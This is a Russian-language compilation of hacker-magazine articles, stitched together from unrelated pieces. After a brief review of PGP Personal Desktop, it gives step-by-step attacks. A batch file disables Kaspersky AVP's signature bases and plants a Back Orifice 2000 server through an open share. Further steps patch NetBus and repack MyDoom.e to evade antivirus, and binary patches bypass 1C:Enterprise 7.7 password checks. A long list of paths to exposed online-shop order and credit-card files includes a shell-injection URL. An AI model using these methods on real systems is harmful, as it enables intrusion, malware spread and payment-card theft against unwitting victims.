PGP Personal Desktop
В PGP реализовано шифрование как открытыми, так и зарекомендовавшими себя симметричными ключами: AES с шифрованием до 256-битного, CAST, TripleDES, IDEA и Twofish2. Для управления ключами шифрования имеется опция PGP Keys, которая выводит окошко с отображением пользовательских ключей и добавленных в список открытых ключей. Схема работы модуля для шифрования дисков PGP Disk… мммм… как бы это сказать? А, элементарна. Опять таки создаём файл Хранилище Ключей (я его про себя называю Ключником), вводим пароли. Причем при указании пароля отображается специальный индикатор стойкости (качества), который, кстати, наглядно демонстрирует актуальность сложных паролей: так, стойкость пароля, состоящего из восьми цифр, примерно равна стойкости шестибуквенного или четырехзначного, в котором есть один спецсимвол (восклицательный знак) и три буквы.
Очень понравилось, что создатели подумали и об ICQ (кто читал логи Сталкера после дефейса мазафаки, тот поймёт… или они не в аси были и я что-то путаю?). После установки в окошке аськи появляется специальная иконка, с помощью которой и включается защита сессий.
Что касается самой больной темы – утечки информации через своп-файл – авторы сами признали, что наглухо перекрыть этот канал утечки они не смогли ввиду особенностей функционирования операционной системы. С другой стороны, предприняты меры по уменьшению данной угрозы – все важные данные хранятся в памяти не дольше, чем это необходимо. После завершения операции вся критически важная информация из памяти удаляется. Таким образом, эта уязвимость имеет место, и для ее ликвидации нужно либо отключить виртуальную память (что может привести к заметному ухудшению работы ОС), либо предпринять дополнительные меры по защите.
Цель данной статьи – показать способ взлома вашего компьютера. Автор не несет никакой ответственности за ущерб, который может быть следствием прочтения этого сообщения.
Данный метод работает только на Windows 9x русских версиях (для английских версий необходимо подправить каталог автозапуска), а также при инсталляции Antiviral Toolkit Pro в c:\program files\antiviral toolkit pro\ (по умолчанию).
Рассмотрим следующую ситуацию: есть хост, имеющий общий ресурс С с полным доступом, установленным Antiviral Toolkit Pro. Как положить на него backdoor? Для этого надо заархивировать с паролем (BackdooR) сервер бакдора (будем использовать Back Oriffice 2000). Пароль используется для того, чтобы AVP сканер не смог обнаружить сервер бакдора:
>PKZIP.EXE -a -sBackooR asyslg.dll BO2K.EXE
Теперь AVP не сможет увидеть сигнатуры BO2k в ASYSLG.DLL (если установлена опция проверки архивов).
Затем необходимо обеспечить запуск сервера и обезвредить AVP. Для этого напишем BAT-файл:
@echo off
attrib -R c:\progra~1\antivi~1\backdoor.avc >nul
attrib -R c:\progra~1\antivi~1\trojan.avc >nul
del c:\progra~1\antivi~1\backdoor.avc >nul
del c:\progra~1\antivi~1\trojan.avc >nul
copy c:\progra~1\antivi~1\macro.avc c:\progra~1\antivi~1\backdoor.avc >nul
copy c:\progra~1\antivi~1\mail.avc c:\progra~1\antivi~1\trojan.avc >nul
c:\windows\pkunzip.exe -e -sBackdooR c:\windows\ASYSLG.DLL
C:\Windows\ГЛАВНО~1\ПРОГРА~1\АВТОЗА~1\ >nul
del c:\windows\pkunzip.exe >nul
del c:\windows\asyslg.dll >nul
del c:\winstart.bat >nul
echo on
Расшифровка построчно:
отключение вывода на экран выполняемых команд
снятие атрибута READONLY с файла backdoor.avc (база сигнатур для бакдоров)
снятие атрибута READONLY с файла tojan.avc (база сигнатур для троянов)
удаление файла backdoor.avc
удаление файла tojan.avc
подмена базы (для того, чтобы при запуске сканера AVP не ругался)
подмена базы (отсутствие базы)
разархивация бакдора и помещение его автозагрузку
удаление PKUNZIP
удаление архива с бакдором
удаление файлы запуска
Почему это будет работать? Потому что при старте Windows если в главном каталоге находится файл WINSTART.BAT он запускается на выполнение. При этом пользователь не увидит ни одного сообщения. Затем необходимо скопировать на удаленный компьютер следующие файлы:
ASYSLG.DLL в директорию c:\windows\
PKUNZIP.EXE в директорию c:\windows\
WINSTART.BAT в директорию c:\
Итого необходимо будет закачать 86.508 байт.
Все. После перезагрузки на компьютере из автозагрузки запустится сервер, удалит себя оттуда и запишет себя в c:\windows\system\ (сервер должен быть сконфигурирован на удаление оригинального файла). В принципе, можно использовать архиватор CAB, и проводить распаковывание программой EXTRACT.EXE, которая присутствуют на почти всех компьютерах, что позволит уменьшить размер перекачиваемых данных, однако данный архиватор не позволяет архивировать с паролем, что может привести к обнаружению сервера бакдора сканером (если включена опция проверки архивов).
Рекомендации по защите от данного вида атаки:
1. Закройте все общие ресурсы! Если вы без них жить не можете установите на них пароль (не менее 6 символов и не менее 1 спецсимвола).
2. Поставьте себе Firewall. Даже если эта атака пройдет успешной, получить доступ к вашей системе не удастся – Firewall вас сразу же предупредит о попытке проникновения. Я рекомендую Tiny Personal Firewall.
3. При обнаружении и внезапной пропажи каких-то файлов сразу проверяйте свои диски антивирусом, а также проводите профилактическое сканирование дисков не менее одного раза в неделю.
4. Своевременно обновляйте антивирусные базы.
ZaDNiCa
anonym01@mailru.com
Модифицируем троян или как обойти AVP #2
Прочитав повествование об обмане AVP при посылке трояна на удаленный компьютер я был сказочно обрадован полетом народной мысли
Но разве можно заниматься таким вредительством, как удаление баз с вирусными сигнатурами – это сакс (не по-кулхацкерски), к тому же каждый дурак любит постоянно обновлять базы – благо на халяву и автоматом
Теперь и я хочу поделиться кое-каким методом. Задача стара как мир – не занимаясь написанием своего трояна, надо сделать имеющийся незаметным для антивируса. Итак, нам понадобятся:
1) PE компрессор UPX (http://upx.tsx.org/)
2) Шестнадцатеричный редактор Hiew (http://protools.cjb.net/)
3) ProcDump32 как редактор PE (http://protools.cjb.net/)
4) Минимальные познания в ассемблере
5) Собственно троян. Я взял старый NetBUS (уж что нашлось)
6) Правильно установленный девайс “руки”
Так как же антивирус ищет вирусы и трояны? Какое-то время назад я пообщался с очень умными людьми, которые сообщили мне, что это “Страшная Тайна”, и официальной информации я по этому поводу не найду. Но если в вкратце, то антивирус, не обнаружив в файле известных сигнатур (последовательностей байт), применяет “эвристику” – начинает смотреть, что за команды идут в файле, и пытается их эмулировать и “смотреть”, что же эти команды могут делать, поскольку не может просто запустить файл, дождаться, пока он сам распакуется/расшифруется в память, дабы случайно не заразить комп, на котором запускается этот файл. Однако многие команды (например, настройку импорта) процессора он не может проэмулировать, поэтому, встретив такие команды, он просто забивает на дальнейшую проверку, даже не говоря о своей некомпетентности
К счастью (или нет), все пакеры для оптимизации пишутся настолько через задницу, что антивирус приходит в дикий восторг, т.е. бросает проверку файла, что нам и надо. Тем не менее, у AVP есть набор функций, с помощью которых он может определить, чем запакован файл, и распаковать его по имеющейся схеме, что он и делает в частности для UPX, и обнаруживает трояна в запакованном файле. Основная идея заключается в том, что нам надо изменить распаковщик таким образом, чтобы антивирус не признал в файле известный ему пакер и пропустил проверку. Итак, займемся делом.
Берем файл patch.ex_ из архива original.zip (я его специально так назвал, чтобы ни у кого не было соблазна запустить его, а потом обвинять меня в распространении троянов). Я этот файл уже пожал UPX. Файл определяется AVP как Backdoor.NetBUS.170. Если используете другой троян, то пакуем его с помощью UPX. AVP все равно определяет трояна, но говорит, что файл пожат UPX. Хех, я это и так знаю…Теперь натравливаем на пожатый файл PE Editor из ProcDump32. Нам надо посмотреть адрес точки входа в файл (Entry Point) и адрес загрузки (Image Base). Имеем:
Entry Point: 00082460h
Image Base: 00400000h
Теперь открываем файл в Hex редакторе Hiew. Переходим в режим дизассемблера (F4/Decode). Отправляемся по адресу Entry Point + Image Base = 00482460h (у кого плохо с шестнадцатеричной математикой, может воспользоваться стандартным мастдайским калькулятором – там есть Hex режим). Для этого жмем Goto (F5) и набиваем в качестве адреса “.482460″ (точка перед адресом нужна потому что это виртуальный адрес). Видим начало распаковщика – что то вроде этого:
.00482460: 60 pushad
.00482461: BE00304500 mov esi,000453000 ;” E0 ”
.00482466: 8DBE00E0FAFF lea edi,[esi][0FFFAE000]
.0048246C: C787B0C405001C340F90 mov d,[edi][00005C4B0],0900F341
.00482476: 57 push edi
.00482477: 83CDFF or ebp,-001 ;” ”
.0048247A: EB0E jmps .00048248A
То, что надо. Теперь надо найти свободное место для патча. Пролистаем страниц 6 вниз, и видим немного места забитого нулями – это добрый дядя Билли придумал выравнивание секций. Вот это и нужно было нам. Я выбрал адрес 004825CFh. Теперь подводим курсор к этому адресу и начинаем редактировать файл в ассемблерном режиме (F3/F2). Заколачиваем всего две команды: push OEP и ret (не забывая жать enter после ввода каждой команды
Где ОЕР это Entry Point + Image Base, т.е. в нашем случае это число 00482460 – для других файлов соответственно будет другое. Итого забили вот что:
Push 00482460
Ret
Сохраняем изменения (F9) и теперь файло выглядит примерно так:
.004825A9: 8903 mov [ebx],eax
.004825AB: 83C304 add ebx,004 ;” ”
.004825AE: EBE1 jmps .000482591
.004825B0: FF9698380800 call d,[esi][000083898]
.004825B6: 61 popad
.004825B7: E9B87CFDFF jmp .00045A274
.004825BC: D425 aam 025
.004825BE: 48 dec eax
.004825BF: 00E0 add al,ah
.004825C1: 254800B0D4 and eax,0D4B00048 ;”+_ H”
.004825C6: 45 inc ebp
.004825C7: 0000 add [eax],al <-- Это было забито нулями
.004825C9: 0000 add [eax],al
.004825CB: 0000 add [eax],al
.004825CD: 0000 add [eax],al
.004825CF: 6860244800 push 000482460 ;" H$`" <-- Это наша вставка
.004825D4: C3 retn
.004825D5: 0000 add [eax],al <-- Опять нули
.004825D7: 0000 add [eax],al
Остался последний рывок. Снова открываем файл в PE Editor'е от ProcDump32 и меняем точку входа на адрес нашей вставки, не забыв от виртуально адреса отнять Image Base, т.е. в Entry Point пишем 000825CF (Offset - Image Base = 004825CF - 00400000 = 000825CF). Кто знаком с ассемблером, тот поймет, что было сделано, а кто не знает (sic!) - тому это не нужно
Вся операция занимает 2-3 минуты и литр пива.
Проверьте полученный файл (лежит в patched.zip) антивирусом. Мой AVP (как сканер, так и монитор) ничего не заметили, даже не сказали что, файл пожат. Вот такой он "народный", "самый лучший" антивирус. Кстати, Dr.Web тоже отсосал и все такое.
Полученный файл прекрасно работает у меня на WinME, как будет он себя вести на Win2k или НТ - Х.З. Я не проверял, но причин для отказа в работе я не вижу. Если у кого-то не получится так сделать - мылить мне не нужно, а надо переустановить драйвера устройства "руки".
конецформыначалоформыМой опыт 1С-ника показывает, что злоумышленники в основном пытаются ломать файл users.usr. Он находится по адресу: каталог_с_базой\usrdef \users.usr и хранит информацию о пользователях и их паролях. Пароли хранятся в виде хэшей: MD5(pass), поэтому просмотреть пароль просто так не выйдет. Существуют брутфорсеры MD5 (именно для 1С), а также есть возможность скинуть пароли всех пользователей. Однако сброс всех паролей мгновенно вызовет подозрение админов или бухгалтеров. Я протестировал такой брутфорсер и пришел к выводу, что числовые пароли взламываются очень быстро, но достаточно подключить символы и ограничить длину 8-10 символами — и уже становится невесело, так как дело попахивает долгими часами перебора. Ты скажешь: «Да бухгалтеры для пароля всегда свой год рождения пишут!» В чем-то правильно, но… Последние тенденции в корпорациях и даже мелком бизнесе показывают стремление защитить информацию (данные о клиентах, поставщиках, оборотах предприятия) от кражи и от глаз весьма заинтересованных конкурентов. В борьбе за сохранность данных создаются службы безопасности, вводятся административные меры наказания, минимальные требования к длине пароля и т.п. К примеру, в фирме, где работал я, мы сами задавали пароли и ставили вот такие условия:
Длина = восемь символов
Цифры + буквы + одна заглавная в английской раскладке.
[для промежуточного вывода] могу сказать, что атака на users.usr имеет несколько недостатков:
1 ПОДБОР ПАРОЛЯ ПЕРЕБОРОМ НЕ ВСЕГДА ОСУЩЕСТВИМ В КОРОТКИЕ СРОКИ, ОСОБЕННО ЕСЛИ ОСТАЛОСЬ РАБОТАТЬ ДВЕ НЕДЕЛИ
.
2 ВРЯД ЛИ ПОЛУЧИТСЯ УДАЛИТЬ ФАЙЛ. ЛЮБОЙ НОРМАЛЬНЫЙ АДМИН ПОСТАВИТ НА ЭТОТ ФАЙЛ АТРИБУТ READONLY (ТОЛЬКО ДЛЯ ЧТЕНИЯ). И ЕСТЕСТВЕННО, ПОДМЕНИТЬ ХЭШ-СУММУ ТОЖЕ НЕ ПОЛУЧИТСЯ.
Ну что ж, придется поступить хитрым образом. Учитывая свой опыт реверсера, я решил поковыряться в 1CV7s.exe (25-й релиз). Как выяснилось, не зря. Буква S в конце имени файла указывает на SQL-версию, локальную и сетевую. Мой выбор пал именно на нее, одну из самых распространенных, неслучайно: она превосходно работает на Терминале, поддерживает как DBF, так и SQL-базы, освобождает от головной боли насчет электронных ключей (кто видел голубые экраны при установке эмуляторов хаспов, тот поймет).
[перейдем к практике] Представим ситуацию, когда есть база данных по сотрудникам, помимо личных данных в ней хранится информация по кредитным картам. Конечно, мы не допущены к справочнику доступа, и, соответственно, нет доступа к документам на перевод/начисление денежных средств. Пора получить его. Первое, что приходит в голову, — убрать проверку пароля и входить под любым пользователем.
Запускаем отладчик (я использовал OllyDbg), в списке выбираем нужную базу и пытаемся авторизоваться как «Админ» (рис. 1). Получаем сообщение об ошибке (рис. 2.).
Пойдем по классической схеме, ставим брэйкпоинт на MessageBoxA (с учетом регистра): BP MessageBoxA.
Теперь на кнопку ОК, и мы вывалились в:
77D2BC33 > 833D E>CMP [DWORD DS:77D5F2E4],0
77D2BC3A 0F85 F>JNZ USER32.77D3C23E
Это системная библиотека USER32.dll, а защита находится в коде самой программы (долго прыгать по библиотекам сейчас не время, так как лишние мучения в 1С’ке, многослойном пироге с кучей используемых библиотек, ни к чему). Мои исследования привели к библиотеке: UserDef.dll. Имя Dll совпадает с названием каталога, в котором хранятся пароли пользователей. Вполне логично, что разработчики вынесли авторизацию пользователей именно в нее. Итак,
260296AB E8 C4B>CALL
260296B0 68 2CF>PUSH USERDEF.2604F62C
260296B5 8BCF MOV ECX,EDI
Поднимемся чуть выше:
26029691 50 PUSH EAX ; хэш от настоящего пароля
26029692 51 PUSH ECX ; хэш от пароля, введенного нами
26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp ; эта процедура сравнивает две строки и возвращает в регистре EAX ноль, если строки равны, и -1, если строки различаются
26029699 83C4 0>ADD ESP,8
2602969C 85C0 TEST EAX,EAX
2602969E 5D POP EBP
2602969F 5B POP EBX
260296A0 74 23 JE SHORT USERDEF.260296C5 ; если строки равны, продолжаем работу
Итак, мы можем внести изменения в работу этого участка и заставить 1С думать, что ты вводишь пароль. Один из рецептов — передать в процедуру сравнения указатели на одну и ту же строку:
26029691 50 PUSH EAX ; хэш от настоящего пароля
26029692 50 PUSH EAX ; хэш от настоящего пароля
26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>]
Теперь функция всегда будет возвращать верное значение и мы сможем зайти под любым пользователем. После замены 1С запустит тебя в базу без нареканий. Однако, например, в моей фирме для каждого пользователя заведен специальный каталог, и если пользователь с таким же именем сидит в базе, то мы увидим табличку с рисунка 3.
[использование личных каталогов] — достаточно распространенное явление. Значит, мы должны убрать текущую проверку. Действуем по указанной выше схеме (бряк на MessageBoxA и несколько раз на
00409075 . E8 6C>CALL
0040907A . 8A45 >MOV AL,[BYTE SS:EBP-61]
0040907D . 84C0 TEST AL,AL
0040907F . 74 13 JE SHORT 1CV7s.00409094 ; если каталог не занят, прыгаем
00409081 . 6A FF PUSH -1
00409083 . 6A 10 PUSH 10
00409085 . 68 6C>PUSH 706C
0040908A . E8 2D>CALL
0040908F . E9 84>JMP 1CV7s.0040AF18
Естественно, поменяв переход, мы пропускаем проверку и оказываемся в базе.
Теперь можно вытворять в базе что угодно, если, конечно, права пользователя позволяют.
[в этой статье] я рассмотрел версию 1С 7.7. Почему не восьмерку? Во-первых, 7.7 до сих пор очень распространена, 95% моих знакомых пользуются именно ей. Во-вторых, восьмерка не менее дырявая, чем 7.7. К такому выводу я пришел посмотрев на подход 1С к безопасности продуктов. Чуть позже проверим еще раз. Администраторам же советую использовать терминал с отключенным маппингом дисков или, при работе в обычном сетевом режиме, запускать 1С с правами другого пользователя (тогда не получится пропатчить чужой процесс), а на исполняемые файлы 1С однозначно ставить атрибут ReadOnly. Только не на всю папку, иначе она примется падать при запуске.
конецформыначалоформыДля тебя, наверное, не секрет, что почти все публичные трояны, которые можно найти в Сети, давно уже занесены в базы антивирусов и их распространение – проблематичная задача. Однако известно ли тебе, что любую заразу можно довольно легко замаскировать под обычное приложение, после чего ни один даже самый навороченный антивирус не обнаружит подставу? Держись! Сегодня мы с тобой так замаскируем MyDoom.e, что впору будет организовывать новую эпидемию
.
Обнаружение
Для начала неплохо было бы разобраться с тем, как, собственно, антивирусные программы отличают зараженные файлы и трояны от обыкновенных бинарников. Я не буду вникать в тонкости этого процесса, а расскажу лишь в общих чертах. У каждого антивируса в обновляемой базе хранятся специальные записи, по которым можно запалить трояна или вирус. Такие записи называются сигнатурами. Сигнатурой может быть некая последовательность байт, характерная для данного вируса, контрольная сумма или еще какой-то характерный признак. Для сложных вирусов, которые не имеют постоянных сигнатур, изобретаются иные методы обнаружения. Антивирус берет файл и начинает искать в нем сигнатуры из своих баз. Если сигнатура обнаружена, то антивирус радостно сообщает пользователю, что данная программа – опаснейший троян. А вот этого-то тебе как раз и не хотелось бы, не так ли? Нужно сделать так, чтобы узнаваемой сигнатуры в файле попросту не было. В этом случае антивирус дополнительно проверяет файл эвристическим анализатором. Алгоритм зависит от конкретного антивируса, а в некоторых эвристика и вовсе нет. Эвристик – штука темная, срабатывает, в основном, на вирусы, написанные на ассемблере, поэтому, скорее всего, антивирус ничего не обнаружит и пойдет дальше по своим делам. Как же убрать эту сигнатуру? Практика показывает, что это не так уж и сложно.
Среди троянописателей и вирмейкеров принято паковать свои творения специальными упаковщиками EXE-файлов. Плюсов от этого немало: например, червяк становится меньше в размерах, а значит, за то же время может разослать больше своих копий и его присутствие становится менее заметным для пользователя. Трояны тоже пакуют, так как они по своей природе должны быть маленькими и незаметными.
Чертик в коробочке
Что же представляет собой упакованный exe-файл? Это PE-заголовок, небольшой загрузчик и прикрепленные сжатые данные исходного файла. Эти данные могут быть дополнительно зашифрованы. При запуске управление передается загрузчику, который распаковывает эти данные прямо во время выполнения и передает управление коду самой программы. С точки зрения пользователя никаких отличий нет – программа точно так же запускается и работает как обычно.
Упаковщиков довольно много. Все они используют разные алгоритмы сжатия и шифрования и разные загрузчики. Антивирусу довольно сложно понять, что скрывается в упакованном файле. Он должен анализировать непосредственно код программы, а код в упакованном файле – это лишь код загрузчика. Для анализа кода его нужно предварительно распаковать. Для этого антивирус должен знать, прежде всего, чем упакован файл, и применить соответствующий алгоритм. Для каждого из упаковщиков необходим свой специальный алгоритм, а то и несколько сразу, так как некоторые программы поддерживают несколько разных способов упаковки. Если антивирус верно определил, чем упакован файл, и если он поддерживает данный алгоритм распаковки, то успешно извлечет из файла код программы и проверит его. У антивируса начинаются проблемы в том случае, когда тип упаковщика ему неизвестен. Антивирусы умеют вскрывать файлы, сжатые большинством популярных упаковщиков.
Для того чтобы попавший в базу троян или вирус перестал определяться антивирусом, необходимо либо упаковать его заново неизвестным антивирусу упаковщиком, либо затруднить или сделать невозможным определение того, чем сжат файл. Сейчас я покажу, как это можно сделать.
Приступаем
Для опытов я взял давно присутствующий во всех антивирусных базах вирус MyDoom.e. Для проверки я использовал два антивируса, которые нашлись у меня на компьютере, – Kaspersky Anti-Virus 4.5 и Norton Anti-Virus 2002. Данный экземпляр MyDoom запакован UPX’ом – довольно известным и распространенным упаковщиком. Я определил это по названиям секций в PE-заголовке файла (UPX0 и UPX1), а также по присутствующей там строчке «1.24 UPX». Распаковать UPX не составляет труда – это позволяет делать и сама утилита upx.exe, стоит только указать ключ –d. Практически все антивирусы умеют делать это, так как разработчики UPX активно сотрудничают с компаниями, занимающимися разработками в сфере сетевой безопасности, о чем прямо упоминается в лицензии программы. На самом деле распаковать файл бывает непросто. Не все программы для сжатия исполняемых файлов поддерживают распаковку. Приходится искать в интернете специальные распаковщики, которые далеко не всегда работают корректно.
После распаковки файл, конечно же, тоже определяется антивирусом. Теперь необходимо запаковать файл таким упаковщиком, который был бы ему неизвестен. Упаковщиков в инете действительно много, и есть из чего выбрать. Для опытов я выбрал PECompact2. Этот упаковщик замечателен тем, что дает на выбор пять разных вариантов сжатия и два загрузчика. Различные способы сжатия реализованы в виде кодеков.
Я взял распакованный файл и попытался сжать его заново. Были выбраны следующие настройки упаковщика: наивысший уровень компрессии, кодек для сжатия – LZMA SDK Codec, загрузчик – стандартный. Я выбрал именно LZMA, так как именно этот алгоритм дает наименьший размер итогового файла. Высокий коэффициент сжатия достигается за счет использования того же самого алгоритма сжатия, что используется в архиваторе 7zip. По размеру сжатых файлов 7zip, как известно, иногда обгоняет даже RAR.
Вирус успешно сжался. Затем я проверил получившийся сжатый файл антивирусными программами AVP и NAV, и что ты думаешь? Оба антивируса показали, что файл чист! Это говорит о том, что используемый кодек сжатия им неизвестен и ничего подозрительного в этом файле антивирусы не углядели.
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой. Такое иногда случается со сжатыми файлами. Разумеется, запускать вирус на своем компе, чтобы проверить, работает ли он, я не стал. Для проверки можно просто взять несколько других программ, сжать их с теми же параметрами и проверить, не возникают ли в них ошибки. Если все программы заработали, то и с Трояном, скорее всего, ничего не случится.
Маскировка
Для повышения защиты от детектирования антивирусом нужно применить дополнительные меры по маскировке. Можно вообще не переупаковывать файл, а попытаться скрыть от антивируса информацию о том, чем на самом деле бинарник сжат. Допустим, вирус сжат обычным UPX. Если антивирус не будет об этом знать, то не сможет найти подходящий способ распаковки. Защитить программу от определения типа компилятора и упаковщика, использованного для ее создания, позволяет модификация точки входа. Эту процедуру можно выполнить с помощью специальных утилит, таких как, например, HidePE. С помощью этой программы можно сделать так, чтобы файлы, упакованные, например, с помощью UPX, определялись как упакованные ASProtect или VBOX. После обработки этой программой вируса Mydoom.e ни Kaspersky, ни Norton не смогли его определить. От разработчиков HidePE доступна еще одна подобная программа – StealthPE. Она отличается более богатым набором инструментов для скрытия информации о типе упаковщика. Среди таких программ от других разработчиков следует упомянуть о DotFix FakeSigner, которая предлагает на выбор более 200 различных сигнатур компиляторов и упаковщиков для внедрения в программу.
Возможные проблемы
В реальной ситуации с распаковкой и упаковкой программ может возникнуть куча проблем. Например, у тебя есть троян, но ты не знаешь, чем он упакован. Можно попытаться использовать одну из специальных утилит, например, PEiDentfier или PE Sniffer из PE Tools. Если эти программы не дали тебе необходимой информации, тогда попытайся определить на глаз. Разработчики упаковщиков любят вставлять названия своих программ в обработанные файлы. Так что если ты нашел в начале файле «FSG», то, скорее всего, перед тобой файл, сжатый именно FSG. Допустим, ты знаешь, чем упакован файл, но этот упаковщик не поддерживает распаковку. Не беспокойся, умные люди наверняка давно написали распаковщик именно для этой программы. Как говорит разработчик UPX: «Just do a websearch on “unpackers”». Любой алгоритм упаковки можно сломать, просто некоторые алгоритмы ломаются на лету, а некоторые требуют специального подхода и недюжинных знаний в программировании на ассемблере.
Что в итоге
Что можно сделать с помощью этих несложных процедур? Много чего. Спровоцировать новую вирусную эпидемию, взяв известный вирус и наделав из него пять новых разновидностей. Поставить троян на машину человека, который может хоть каждый день сканировать свой жесткий диск антивирусным сканером и ничего не обнаруживать. Всеми этими способами успешно пользуются разработчики программного обеспечения для защиты своих творений от взлома. Крэки все равно рано или поздно появляются, но хорошая защита исполняемого файла может как минимум задержать этот процесс. На пару деньков. Не проспи Новый год, удачи! ![]()
Оверлеи
Некоторые программы дописывают в свое тело некоторое количество дополнительных данных, о которых нет данных в PE-заголовке, – оверлеи (overlays). При сжатии такого файла эти данные могут быть утеряны. Оверлеи могут хранить нужную для работы программы информацию, поэтому терять их не стоит. Во многих упаковщиках предусмотрена функция сохранения оверлеев. Например, в UPX это ключ -–overlay=copy. Насколько корректно упаковщик работает с оверлеями, можно проверить, попробовав сжать флеш-мультик, который представляет из себя не что иное, как Flash Player с прикрепленной флешкой. Если запаковать его без сохранения оверлея, то после запуска ты увидишь лишь пустое окно, так как мультик не сохранится.
Нужный софт
Если ты захочешь повторить мои эксперименты, тебе потребуется софт, который я упоминал в этой статье:
HidePE, StealthPE http://bgcorp.narod.ru
DotFix FakeSigner www.dotfix.com
UPX 1.90w http://upx.sf.net
FSG 2.0 www.xtreeme.prv.pl
PE Compact 2.10 www.bitsum.com
PE Tools/PE Sniffer www.uinc.ru
Как всегда, этот софт ты можешь найти на нашем диске, а также на сайте http://ired.inins.ru/xa.
Простые советы
Чтобы добиться наилучшего результата, экспериментируй! Попробуй запаковать файл разными программами с различными алгоритмами сжатия – результат работы будет разнообразным. Какая-то из софтин сожмет твой бинарник в 10 раз, но он банально не запустится. Какая-то сожмет на 30%, обеспечив стабильную работу до проверки антивирусом. Но ты выберешь ту, что уменьшила размер твоего чудо-бинарника вдвое, а вероятность нелепого конфликта с антивирусом свела к нулю. Также ты можешь просто вставить в свою программу сигнатуры других программ для сжатия, что окончательно запутает глупые антивирусы.
INFO
После сжатия необходимо проверить вирус или троян на работоспособность, а то может получиться так, что на компьютере-жертве он просто вылетит с ошибкой.
WARNING
Помни, что любые действия по распространению вредоносных программ караются Уголовным кодексом РФ. Не следует нарушать законы страны, в которой ты живешь.
Способ 1. Этот способ основан на уязвимости в OnLine магазинах… Наверно многим хочется поиметь чужие кредитки, владельцы которых пользуются ими в он-лайн шопах. Ну что ж…у вас есть такая возможность! Для этого вам не придётся ухищряться, делая свой порносервер и что-либо ломать. Достаточно просто зайти какой-нибудь известный поисковик (я бы посоветовал тебе http://www.altavista.com/ или http://www.yahoo.com/, но можешь пользоваться и другим) и ввести пару волшебных слов. Какие именно?! Хмм…давайте посмотрим ).
Многие админы оставляют открытыми такие директории:
/orders
/Order
/Orders
/order
/config
/Admin_files
/mall_log_files
/PDG_Cart
PDG_Cart/order.log
PDG_Cart/shopper.conf
/pw
/store/customers
/store/temp_customers
/WebShop
/webshop
/WebShop/templates
/WebShop/logs
/cgi/PDG_Cart/order.log
/PDG_Cart/authorizenets.txt
/cgi-bin/PDG_Cart/mc.txt
/PDG/order.txt
/cgi-bin/PDG_cart/card.txt
/PDG_Cart/shopper.conf
/php/mlog.phtml
/php/mylog.phtml
/webcart/carts
/cgi-bin/orders.txt
/WebShop/logs
/cgi-bin/AnyForm2
/cgi-bin/mc.txt
/ccbill/secure/ccbill.log
/cgi-bin/orders/mc.txt
/WebCart/orders.txt
/cgi-bin/orders/cc.txt
/cvv2.txt
/cgi-bin/orderlog.txt
/WebShop/logs
/orderb/shop.mdb
/_private/shopping_cart.mdb
/scripts/iisadmin/tools/mkilog.exe
/cool-logs/mylog.html
/cool-logs/mlog.html
/easylog/easylog.html
/HyperStat/stat_what.log
/mall_log_files/
/scripts/weblog
/super_stats/access_logs
/trafficlog
/wwwlog
/Admin_files/order.log
/bin/orders/orders.txt
/cgi/orders/orders.txt
/cgi-bin/orders/orders.txt
/cgi-sys/orders/orders.txt
/cgi-local/orders/orders.txt
/htbin/orders/orders.txt
/cgibin/orders/orders.txt
/cgis/orders/orders.txt
/scripts/orders/orders.txt
/cgi-win/orders/orders.txt
/bin/pagelog.cgi
/cgi/pagelog.cgi
/cgi-bin/pagelog.cgi
/cgi-sys/pagelog.cgi
/cgi-local/pagelog.cgi
/cgibin/pagelog.cgi
/cgis/pagelog.cgi
/scripts/pagelog.cgi
/cgi-win/pagelog.cgi
/bin/DCShop/auth_data/auth_user_file.txt
/cgi/DCShop/auth_data/auth_user_file.txt
/cgi-bin/DCShop/auth_data/auth_user_file.txt
/cgi-sys/DCShop/auth_data/auth_user_file.txt
/cgi-local/DCShop/auth_data/auth_user_file.txt
/htbin/DCShop/auth_data/auth_user_file.txt
/cgibin/DCShop/auth_data/auth_user_file.txt
/cgis/DCShop/auth_data/auth_user_file.txt
/scripts/DCShop/auth_data/auth_user_file.txt
/cgi-win/DCShop/auth_data/auth_user_file.txt
/bin/DCShop/orders/orders.txt
/cgi/DCShop/orders/orders.txt
/cgi-bin/DCShop/orders/orders.txt
/cgi-sys/DCShop/orders/orders.txt
/cgi-local/DCShop/orders/orders.txt
/htbin/DCShop/orders/orders.txt
/cgibin/DCShop/orders/orders.txt
/cgis/DCShop/orders/orders.txt
/scripts/DCShop/orders/orders.txt
/cgi-win/DCShop/orders/orders.txt
/dc/auth_data/auth_user_file.txt
/dcshop/orders/orders.txt
/dcshop/auth_data/auth_user_file.txt
/dc/orders/orders.txt
/orders/checks.txt
/orders/mountain.cfg
/cgi-bin/shopper.cgi&TEMPLATE=ORDER.LOG
/webcart/carts
/webcart-lite/orders/import.txt
/webcart/config
/webcart/config/clients.txt
/webcart/orders
/webcart/orders/import.txt
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/bin/shop/auth_data/auth_user_file.txt
/cgi/shop/auth_data/auth_user_file.txt
/cgi-bin/shop/auth_data/auth_user_file.txt
/cgi-sys/shop/auth_data/auth_user_file.txt
/cgi-local/shop/auth_data/auth_user_file.txt
/htbin/shop/auth_data/auth_user_file.txt
/cgibin/shop/auth_data/auth_user_file.txt
/cgis/shop/auth_data/auth_user_file.txt
/scripts/shop/auth_data/auth_user_file.txt
/cgi-win/shop/auth_data/auth_user_file.txt
/bin/shop/orders/orders.txt
/cgi/shop/orders/orders.txt
/cgi-bin/shop/orders/orders.txt
/cgi-sys/shop/orders/orders.txt
/cgi-local/shop/orders/orders.txt
/htbin/shop/orders/orders.txt
/cgibin/shop/orders/orders.txt
/cgis/shop/orders/orders.txt
/scripts/shop/orders/orders.txt
/cgi-win/shop/orders/orders.txt
/bin/shop.pl/page=;cat%20shop.pl
/cgi/shop.pl/page=;cat%20shop.pl
/cgi-bin/shop.pl/page=;cat%20shop.pl
/cgi-sys/shop.pl/page=;cat%20shop.pl
/cgi-local/shop.pl/page=;cat%20shop.pl
/htbin/shop.pl/page=;cat%20shop.pl
/cgibin/shop.pl/page=;cat%20shop.pl
/cgis/shop.pl/page=;cat%20shop.pl
/scripts/shop.pl/page=;cat%20shop.pl
/cgi-win/shop.pl/page=;cat%20shop.pl
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
